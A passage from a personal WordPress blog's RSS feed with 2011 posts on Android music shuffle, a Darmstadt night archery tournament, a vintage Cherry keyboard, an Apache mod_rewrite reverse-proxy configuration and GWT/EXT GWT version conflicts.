/></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/myminutes.wordpress.com/347/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/myminutes.wordpress.com/347/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/myminutes.wordpress.com/347/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/myminutes.wordpress.com/347/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=347&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://myminutes.wordpress.com/2011/10/23/clojure-example-from-the-joy-of-clojure-parallelized/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/0e89e54d864f1e584c5ef4102f98bc83?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dedeibel</media:title>
		</media:content>

		<media:content url="http://myminutes.files.wordpress.com/2011/10/result.png?w=300" medium="image">
			<media:title type="html">Result</media:title>
		</media:content>

		<media:content url="http://myminutes.files.wordpress.com/2011/10/multihreaded.png?w=300" medium="image">
			<media:title type="html">Multihreaded in action</media:title>
		</media:content>

		<media:content url="http://myminutes.files.wordpress.com/2011/10/unsynchronized.png?w=300" medium="image">
			<media:title type="html">Unsynchronized result</media:title>
		</media:content>
	</item>
		<item>
		<title>Android music player shuffle is bad</title>
		<link>http://myminutes.wordpress.com/2011/09/20/android-music-player-shuffle-is-bad/</link>
		<comments>http://myminutes.wordpress.com/2011/09/20/android-music-player-shuffle-is-bad/#comments</comments>
		<pubDate>Tue, 20 Sep 2011 17:00:29 +0000</pubDate>
		<dc:creator>Benjamin Peter</dc:creator>
				<category><![CDATA[Technisch]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[android music]]></category>
		<category><![CDATA[bugs]]></category>
		<category><![CDATA[music]]></category>
		<category><![CDATA[random]]></category>
		<category><![CDATA[shuffle]]></category>
		<category><![CDATA[winamp]]></category>

		<guid isPermaLink="false">http://myminutes.wordpress.com/?p=322</guid>
		<description><![CDATA[I just wanted to share my experience with the android music player. From a user interface and feature perspective I am totally happy with it. It is kind of simple, responsive and okay to control as music player in your car. (Hands free of course). But there is a problem with the shuffle function. I [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=322&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I just wanted to share my experience with the android music player.<br />
From a user interface and feature perspective I am totally happy with it. It is kind of simple, responsive and okay to control as music player in your car. (Hands free of course).</p>
<p>But there is a problem with the shuffle function. I use that feature a lot, since the android is serving me with music almost every day in my car and I really can&#8217;t stand the same playlist order every day. The sequential order makes things too predictable and you rapidly get the feeling you heard the songs a million times.</p>
<p>Unfortunately android music player is not shuffling very well. There are often the same tracks in the playlist and the order seems to repeat too. I even got the feeling it doesn&#8217;t include all the tracks and just shuffles a subset of them.</p>
<p>It seems like I am not alone with the problem and there is already a <a href="http://bit.ly/android-shuffle-issue" title="bugreport">bugreport</a>.</p>
<p>So I tried the <a href="http://www.winamp.com/android">mobile winamp</a> player. I was not too optimistic since the desktop version of it just evolved to a big fat monster. But I was positively surprised. The player looks nice, is fast and is better at shuffling. I had songs in the playlist again I missed for quite some time now.</p>
<p>The only thing that is not too great is the user interface uses a lot of small button elements. This is not so nice when you use it in your car. Additionally you can&#8217;t switch tracks using the little forward / backwards buttons, when the screen is locked but that is not a deal breaker.</p>
<p>Did you have the same experience with android music player? Let me know.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/myminutes.wordpress.com/322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/myminutes.wordpress.com/322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/myminutes.wordpress.com/322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/myminutes.wordpress.com/322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/myminutes.wordpress.com/322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/myminutes.wordpress.com/322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/myminutes.wordpress.com/322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/myminutes.wordpress.com/322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/myminutes.wordpress.com/322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/myminutes.wordpress.com/322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/myminutes.wordpress.com/322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/myminutes.wordpress.com/322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/myminutes.wordpress.com/322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/myminutes.wordpress.com/322/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=322&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://myminutes.wordpress.com/2011/09/20/android-music-player-shuffle-is-bad/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/0e89e54d864f1e584c5ef4102f98bc83?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dedeibel</media:title>
		</media:content>
	</item>
		<item>
		<title>Bogenschießen: 10. Fledermaus Nachtturnier in Darmstadt (de)</title>
		<link>http://myminutes.wordpress.com/2011/09/15/bogenschiesen-10-fledermaus-nachtturnier-in-darmstadt-de/</link>
		<comments>http://myminutes.wordpress.com/2011/09/15/bogenschiesen-10-fledermaus-nachtturnier-in-darmstadt-de/#comments</comments>
		<pubDate>Thu, 15 Sep 2011 20:50:23 +0000</pubDate>
		<dc:creator>Benjamin Peter</dc:creator>
				<category><![CDATA[Nicht technisch]]></category>
		<category><![CDATA[Sport]]></category>
		<category><![CDATA[Bogenschießen]]></category>
		<category><![CDATA[Darmstadt]]></category>
		<category><![CDATA[Erfahrungsbericht]]></category>
		<category><![CDATA[Nacht]]></category>
		<category><![CDATA[Nachtturnier]]></category>
		<category><![CDATA[Taunusstein]]></category>
		<category><![CDATA[Turnier]]></category>
		<category><![CDATA[Wettkampf]]></category>

		<guid isPermaLink="false">http://myminutes.wordpress.com/?p=328</guid>
		<description><![CDATA[Letztes Wochenende fand zum 10. mal das Fledermaus Nachtturnier bei der PSG Darmstadt statt. Es handelt sich dabei um ein Bogenturnier, bei dem man die erste Hälfte noch im Hellen schießt und die zweite Nachts, im Dunkeln. Dabei sind nur die Zielscheiben beleuchtet und es kommt eine ganz besondere Stimmung auf. Man sieht nur noch [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=328&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Letztes Wochenende fand zum 10. mal das Fledermaus Nachtturnier bei der <a href="http://psg-darmstadt.de/psg-bogenschiessen.php" title="PSG Darmstadt">PSG Darmstadt</a> statt. Es handelt sich dabei um ein Bogenturnier, bei dem man die erste Hälfte  noch im Hellen schießt und die zweite Nachts, im Dunkeln. Dabei sind nur die Zielscheiben beleuchtet und es kommt eine ganz besondere Stimmung auf. Man sieht nur noch sein Visier und das Ziel, abgeschottet von sonstigen Eindrücken in der Umgebung.</p>
<p>Wichtig ist hierbei auch die Schussvorbereitung gut zu beherrschen, die Schießlinie ist grundsätzlich nicht beleuchtet und man sollte sich merken wo man den Bogen geparkt hat und wie herum der Pfeil eingelegt gehört.</p>
<p>Schießbeginn war 18 Uhr und man startete mit einigen Probepfeilen. Ich selbe bin leider in Eile angereist und hatte meine Mühe zum schießen ein wenig runter zu kommen. So habe ich es auch während des ganzen ersten Durchgangs nicht geschafft ein zufrieden stellendes Ergebnis abzuliefen. In den Pausen konnte man sich dann bei leckeren Brötchen, Kuchen oder Salaten, die von der PSG gegen eine Spende bereit gestellt wurden, etwas aufheitern.</p>
<p>Gegen halb neun waren die angesetzten 30 Pfeile dann geschossen und es wurde langsam dämmerig.<br />
Dies bekommt man auf dem Bogenplatz in Darmstadt immer recht gut mit, da die Sonne zu der Zeit genau hinter den Zielscheiben unter geht. Da heißt es also die Mütze tief ins Gesicht ziehen.</p>
<p><a href="http://myminutes.files.wordpress.com/2011/09/pict1002.jpg"><img src="http://myminutes.files.wordpress.com/2011/09/pict1002.jpg?w=300&#038;h=225" alt="" title="Fledermaus Nachtturnier Darmstadt" width="300" height="225" class="alignleft size-medium wp-image-331" /></a></p>
<p>Die Nacht brach herein und der zweite Durchgang startete ab neun Uhr. Es war alles etwas ruhiger, die Schützen konzentrierten sich noch ein wenig mehr als sonst. Keiner wollte seine Pfeile im Dunkeln suchen müssen. Das hat leider nicht bei allen geklappt und so mancher musste mit Taschenlampe und Metallsuchgerät über die Wiese streifen. Doch auch wenn die Pfeile alle auf einer Scheibe landeten ist man vor Missgeschicken nicht gefeit, schnell hat man im Dunkeln die falsche Bahn erwischt und ein gutes Ergebnis auf die Nachbarscheibe geschossen. Dies zählt leider nicht.</p>
<p>Ein wenig zur Ruhe gekommen und mit gefundenem Schießrythmus verlief mein zweiter Durchgang ohne Probleme und ich konnte Punkte gut machen. Kein Pfeil daneben und Scheibenbester, das muntert auf. So war auch das Endresultat erfreulich und ich habe es noch auf den dritten Platz der Recurve Schützenklasse geschafft.<br />
Meinen ersten Pokal habe ich damit auch bekommen, das hat mich ziemlich gefreut. Bei den Kreis- und Gaumeisterschaften gibt es <em>nur</em> Anstecker und auf der Hessischen war ich leider noch nicht.</p>
<p>Das Nachtturnier in Darmstadt ist auf jeden Fall zu empfehlen. Wer teilnehmen möchte, sollte sich allerdings mit der Anmeldung beeilen da die Plätze meist früh vergeben sind.</p>
<p>Interesse am Bogenschießen? Schaut doch einfach mal bei den <a href="http://aarfalke.de/">Aarfalken</a> in Taunusstein vorbei.</p>
<p><strong>Nachtrag:</strong> Ich denke man sollte vielleicht noch erwähnen, dass es auf dem Turnier für jeden noch ein kleines Geschenk als Andenken gibt. Früher gab mal eine selbst gebastelte Fledermaus oder nun eine nett beschriftete Tasse.</p>
<p><a href="http://myminutes.files.wordpress.com/2011/09/imag0223.jpg"><img src="http://myminutes.files.wordpress.com/2011/09/imag0223.jpg?w=300&#038;h=291" alt="" title="Fledermaus Tasse" width="300" height="291" class="alignleft size-medium wp-image-343" /></a></p>
<p><em>(Interessant ist dabei jedoch, dass in der Beigelegten Anleitung steht, dass keine Garantie für die Bruchsicherheit beim Einfüllen von Flüssigkeiten mit über 40°C Temperaturunterschied zur Tasse gegeben wird&#8230;)</em></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/myminutes.wordpress.com/328/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/myminutes.wordpress.com/328/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/myminutes.wordpress.com/328/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/myminutes.wordpress.com/328/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/myminutes.wordpress.com/328/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/myminutes.wordpress.com/328/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/myminutes.wordpress.com/328/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/myminutes.wordpress.com/328/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/myminutes.wordpress.com/328/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/myminutes.wordpress.com/328/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/myminutes.wordpress.com/328/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/myminutes.wordpress.com/328/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/myminutes.wordpress.com/328/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/myminutes.wordpress.com/328/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=328&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://myminutes.wordpress.com/2011/09/15/bogenschiesen-10-fledermaus-nachtturnier-in-darmstadt-de/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/0e89e54d864f1e584c5ef4102f98bc83?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dedeibel</media:title>
		</media:content>

		<media:content url="http://myminutes.files.wordpress.com/2011/09/pict1002.jpg?w=300" medium="image">
			<media:title type="html">Fledermaus Nachtturnier Darmstadt</media:title>
		</media:content>

		<media:content url="http://myminutes.files.wordpress.com/2011/09/imag0223.jpg?w=300" medium="image">
			<media:title type="html">Fledermaus Tasse</media:title>
		</media:content>
	</item>
		<item>
		<title>Flea Market discovery Cherry G81-1000 Keyboard</title>
		<link>http://myminutes.wordpress.com/2011/06/10/flea-market-discovery-cherry-g81-1000-keyboard/</link>
		<comments>http://myminutes.wordpress.com/2011/06/10/flea-market-discovery-cherry-g81-1000-keyboard/#comments</comments>
		<pubDate>Fri, 10 Jun 2011 21:18:47 +0000</pubDate>
		<dc:creator>Benjamin Peter</dc:creator>
				<category><![CDATA[Technisch]]></category>
		<category><![CDATA[adapter]]></category>
		<category><![CDATA[cherry]]></category>
		<category><![CDATA[DIN connector]]></category>
		<category><![CDATA[flea market]]></category>
		<category><![CDATA[G81-1000]]></category>
		<category><![CDATA[IBM Type M]]></category>
		<category><![CDATA[keyboard]]></category>
		<category><![CDATA[Retro]]></category>

		<guid isPermaLink="false">http://myminutes.wordpress.com/?p=303</guid>
		<description><![CDATA[About two weeks ago I was on a flea market and saw an old cherry keyboard. I always heard of the legendary IBM type M keyboard that makes a unique click sound and wanted to have one of these. But the ones still produced cost about 90$ at pckeyboard.com! So I thought, give that old [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=303&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>About two weeks ago I was on a flea market and saw an old cherry keyboard. I always heard of the legendary <a href="http://en.wikipedia.org/wiki/Model_M_keyboard">IBM type M keyboard</a> that makes a unique click sound and wanted to have one of these. But the ones still produced cost about 90$ at <a href="http://pckeyboards.stores.yahoo.net/" title="pckeyboard.com">pckeyboard.com</a>! So I thought, give that old cheery one a try and buy it &#8230; for 1,50€ it won&#8217;t hurt and may be similarly cool.</p>
<p>So I bought a nice old G81-1000 which was still rather white, compared to the usual computer nicotine yellow you see out there. <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  The keys are not as smooth as I had hoped but in my opinion the sound is quite classic.</p>
<p>One little detail being a problem was the old <a href="http://en.wikipedia.org/wiki/DIN_connector">DIN</a> instead of a PS/2 connector. The adapter could be found on amazon but I would bet there are only some remnants.</p>
<p>The whole circuit board and key sensors are pretty robust and will probably survive all the rest of my current hardware. Here are some fotos I short during the big cleaning session.</p>

<a href='http://myminutes.wordpress.com/2011/06/10/flea-market-discovery-cherry-g81-1000-keyboard/imag0054/' title='IMAG0054'><img data-attachment-id='306' data-orig-size='600,359' data-liked='0'width="150" height="89" src="http://myminutes.files.wordpress.com/2011/06/imag0054.jpg?w=150&#038;h=89" class="attachment-thumbnail" alt="IMAG0054" title="IMAG0054" /></a>
<a href='http://myminutes.wordpress.com/2011/06/10/flea-market-discovery-cherry-g81-1000-keyboard/imag0055/' title='IMAG0055'><img data-attachment-id='307' data-orig-size='600,359' data-liked='0'width="150" height="89" src="http://myminutes.files.wordpress.com/2011/06/imag0055.jpg?w=150&#038;h=89" class="attachment-thumbnail" alt="IMAG0055" title="IMAG0055" /></a>
<a href='http://myminutes.wordpress.com/2011/06/10/flea-market-discovery-cherry-g81-1000-keyboard/imag0058/' title='IMAG0058'><img data-attachment-id='308' data-orig-size='600,359' data-liked='0'width="150" height="89" src="http://myminutes.files.wordpress.com/2011/06/imag0058.jpg?w=150&#038;h=89" class="attachment-thumbnail" alt="IMAG0058" title="IMAG0058" /></a>
<a href='http://myminutes.wordpress.com/2011/06/10/flea-market-discovery-cherry-g81-1000-keyboard/imag0062/' title='IMAG0062'><img data-attachment-id='309' data-orig-size='600,359' data-liked='0'width="150" height="89" src="http://myminutes.files.wordpress.com/2011/06/imag0062.jpg?w=150&#038;h=89" class="attachment-thumbnail" alt="IMAG0062" title="IMAG0062" /></a>
<a href='http://myminutes.wordpress.com/2011/06/10/flea-market-discovery-cherry-g81-1000-keyboard/imag0073/' title='IMAG0073'><img data-attachment-id='310' data-orig-size='600,359' data-liked='0'width="150" height="89" src="http://myminutes.files.wordpress.com/2011/06/imag0073.jpg?w=150&#038;h=89" class="attachment-thumbnail" alt="IMAG0073" title="IMAG0073" /></a>

<p>More Information about Cheery G81 and G80: <a href="http://geekhack.org/showwiki.php?title=Island:5757" title="http://geekhack.org/showwiki.php?title=Island:5757">http://geekhack.org/showwiki.php?title=Island:5757</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/myminutes.wordpress.com/303/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/myminutes.wordpress.com/303/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/myminutes.wordpress.com/303/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/myminutes.wordpress.com/303/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/myminutes.wordpress.com/303/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/myminutes.wordpress.com/303/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/myminutes.wordpress.com/303/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/myminutes.wordpress.com/303/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/myminutes.wordpress.com/303/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/myminutes.wordpress.com/303/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/myminutes.wordpress.com/303/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/myminutes.wordpress.com/303/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/myminutes.wordpress.com/303/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/myminutes.wordpress.com/303/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=303&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://myminutes.wordpress.com/2011/06/10/flea-market-discovery-cherry-g81-1000-keyboard/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/0e89e54d864f1e584c5ef4102f98bc83?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dedeibel</media:title>
		</media:content>

		<media:content url="http://myminutes.files.wordpress.com/2011/06/imag0054.jpg?w=150" medium="image">
			<media:title type="html">IMAG0054</media:title>
		</media:content>

		<media:content url="http://myminutes.files.wordpress.com/2011/06/imag0055.jpg?w=150" medium="image">
			<media:title type="html">IMAG0055</media:title>
		</media:content>

		<media:content url="http://myminutes.files.wordpress.com/2011/06/imag0058.jpg?w=150" medium="image">
			<media:title type="html">IMAG0058</media:title>
		</media:content>

		<media:content url="http://myminutes.files.wordpress.com/2011/06/imag0062.jpg?w=150" medium="image">
			<media:title type="html">IMAG0062</media:title>
		</media:content>

		<media:content url="http://myminutes.files.wordpress.com/2011/06/imag0073.jpg?w=150" medium="image">
			<media:title type="html">IMAG0073</media:title>
		</media:content>
	</item>
		<item>
		<title>mod_rewrite proxy targets must be allowed first</title>
		<link>http://myminutes.wordpress.com/2011/04/15/mod_rewrite-proxy-targets-must-be-allowed-first/</link>
		<comments>http://myminutes.wordpress.com/2011/04/15/mod_rewrite-proxy-targets-must-be-allowed-first/#comments</comments>
		<pubDate>Fri, 15 Apr 2011 16:00:45 +0000</pubDate>
		<dc:creator>Benjamin Peter</dc:creator>
				<category><![CDATA[Technisch]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[allow]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[apache2]]></category>
		<category><![CDATA[google gwt]]></category>
		<category><![CDATA[gwt]]></category>
		<category><![CDATA[mod_proxy]]></category>
		<category><![CDATA[mod_rewrite]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[same origin policy]]></category>
		<category><![CDATA[sop]]></category>
		<category><![CDATA[vhost]]></category>

		<guid isPermaLink="false">http://myminutes.wordpress.com/?p=294</guid>
		<description><![CDATA[I was trying to install a proxy redirect on my server in order to bypass the same origin policy for GWT Ajax requests. We are not using the default java servlets but a perl backend. Therefore I wanted to rewrite a path &#8222;http://myhost/mk/*&#8220; to the host where the actual request endpoint was &#8222;http://targethost/$1&#8243;. The Idea [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=294&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I was trying to install a proxy redirect on my server in order to bypass the same origin policy for GWT Ajax requests. We are not using the default java servlets but a perl backend.</p>
<p>Therefore I wanted to rewrite a path &#8222;http://myhost/mk/*&#8220; to the host where the actual request endpoint was &#8222;http://targethost/$1&#8243;.</p>
<p>The Idea was to use mod_rewrite and first of all it had to be enabled. Additionally mod_proxy is used if proxy rewrites are involved. On debian this works using:</p>
<p><code>$ a2enmod rewrite; a2enmod proxy_http</code></p>
<p>The vhost config looks like this:</p>
<p><code>&lt;VirtualHost myhost:80&gt;<br />
  ServerName gt.myhost</p>
<p>  RewriteEngine On<br />
  RewriteLogLevel 3<br />
  RewriteLog "/var/log/apache2/rewrite.log"<br />
  RewriteRule ^/mk/(.*)         http://targethost/$1 [P]</p>
<p>  # Allow the proxy to targethost ...<br />
  &lt;Proxy http://targethost/*&gt;<br />
        Order deny,allow<br />
        Allow from all<br />
  &lt;/Proxy&gt;</p>
<p>  DocumentRoot /var/www/gt<br />
&lt;/VirtualHost&gt;</code></p>
<p>Important is the <b>Proxy</b> element here, which was not obvious to me from the start. I missed it and just got the following output in rewrite.log and error.log when trying to call http://gt.myhost/mk/login.</p>
<p><code>(2) rewrite '/mk/login' -&gt; 'http://targethost/login'<br />
(2) forcing proxy-throughput with http://targethost/login<br />
(1) go-ahead with proxy request proxy:http://targethost/login [OK]<br />
</code></p>
<p><code>[error] client denied by server configuration: proxy:http://targethost/login</code></p>
<p>So, make sure you got the <b>Proxy</b> Element right, too, when using mod_rewrite and [P].</p>
<p>References:</p>
<p><a href="http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html">mod_rewrite manual</a><br />
<a href="http://httpd.apache.org/docs/2.0/misc/rewriteguide.html">apache rewrite guide</a><br />
<a href="http://povich.co.uk/blog/2008/01/ubuntu-apache2-mod_rewrite-proxy-rules/">Ubuntu mod_rewrite Problem</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/myminutes.wordpress.com/294/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/myminutes.wordpress.com/294/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/myminutes.wordpress.com/294/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/myminutes.wordpress.com/294/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/myminutes.wordpress.com/294/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/myminutes.wordpress.com/294/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/myminutes.wordpress.com/294/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/myminutes.wordpress.com/294/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/myminutes.wordpress.com/294/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/myminutes.wordpress.com/294/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/myminutes.wordpress.com/294/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/myminutes.wordpress.com/294/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/myminutes.wordpress.com/294/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/myminutes.wordpress.com/294/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=294&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://myminutes.wordpress.com/2011/04/15/mod_rewrite-proxy-targets-must-be-allowed-first/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/0e89e54d864f1e584c5ef4102f98bc83?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dedeibel</media:title>
		</media:content>
	</item>
		<item>
		<title>GWT 2.2.0 and EXT GWT no success</title>
		<link>http://myminutes.wordpress.com/2011/04/11/gwt-2-2-0-and-ext-gwt-no-success/</link>
		<comments>http://myminutes.wordpress.com/2011/04/11/gwt-2-2-0-and-ext-gwt-no-success/#comments</comments>
		<pubDate>Mon, 11 Apr 2011 15:44:40 +0000</pubDate>
		<dc:creator>Benjamin Peter</dc:creator>
				<category><![CDATA[Technisch]]></category>
		<category><![CDATA[downgrade]]></category>
		<category><![CDATA[EXT]]></category>
		<category><![CDATA[EXT GWT]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[gwt]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[maven]]></category>
		<category><![CDATA[mvn]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://myminutes.wordpress.com/?p=282</guid>
		<description><![CDATA[I tried to use EXT GWT with GWT 2.2.0 and had no success &#8230; no one told me I couldn&#8217;t do that. Afterwards I found out there really is no accurate version requirement noted for EXT GWT. &#8222;GWT 1.5 or above is required&#8220; from the helpcenter was not very helpful here. What I started with [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=282&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I tried to use EXT GWT with GWT 2.2.0 and had no success &#8230; no one told me I couldn&#8217;t do that.</p>
<p>Afterwards I found out there really is no accurate version requirement noted for EXT GWT. <em>&#8222;GWT 1.5 or above is required&#8220;</em> from the <a href="http://www.sencha.com/helpcenter/topic/com.extjs.gxt.help/html/gettingstarted/requirements.html">helpcenter</a> was not very helpful here.</p>
<p>What I started with and wanted to use was:</p>
<p><code>&lt;gwtVersion&gt;2.2.0&lt;/gwtVersion&gt;<br />
  &lt;gwtMavenVersion&gt;2.2.0&lt;/gwtMavenVersion&gt;<br />
  &lt;gwtLogVersion&gt;3.1.0&lt;/gwtLogVersion&gt;<br />
  &lt;ginVersion&gt;1.5&lt;/ginVersion&gt;<br />
  &lt;!-- My Wish: From the Sencha Roadmap, not yet released: 3.0 --&gt;<br />
  &lt;extGwtVersion&gt;2.2.0&lt;/extGwtVersion&gt;<br />
</code><br />
(<em>maven Dependency configuration</em>)</p>
<p>Which resulted in compilation errors:</p>
<p><code>$ mvn -Dmaven.test.skip package<br />
java.lang.IncompatibleClassChangeError: Found interface com.google.gwt.core.ext.typeinfo.JClassType, but class was expected at com.extjs.gxt.ui.rebind.core. TemplatesGenerator$SourceGenerator.validateType(TemplatesGenerator.java:142) at com.extjs.gxt.ui.rebind.core. TemplatesGenerator$SourceGenerator.generate(TemplatesGenerator.java:97) at com.extjs.gxt.ui.rebind.core. TemplatesGenerator.generate(TemplatesGenerator.java:56)<br />
...</code></p>
<p>I found some <a href="http://www.sencha.com/forum/showthread.php?124026-GXT-2.2.2-compilation-error-with-GWT-2.2">board entries</a> about that. So I had to downgrade GWT and a couple of libraries like the maven gwt plugin, gin and gwt log. Thanks to maven this was less horrible than it could have been.</p>
<p><code>&lt;gwtVersion&gt;2.1.1&lt;/gwtVersion&gt;<br />
  &lt;gwtMavenVersion&gt;2.1.0-1&lt;/gwtMavenVersion&gt;<br />
  &lt;gwtLogVersion&gt;3.0.2&lt;/gwtLogVersion&gt;<br />
  &lt;ginVersion&gt;1.0&lt;/ginVersion&gt;<br />
  &lt;extGwtVersion&gt;2.2.0&lt;/extGwtVersion&gt;<br />
  &lt;warPluginVersion&gt;2.1.1&lt;/warPluginVersion&gt;<br />
</code></p>
<p>So, dear vendors, please make more accurate requirement definitions.</p>
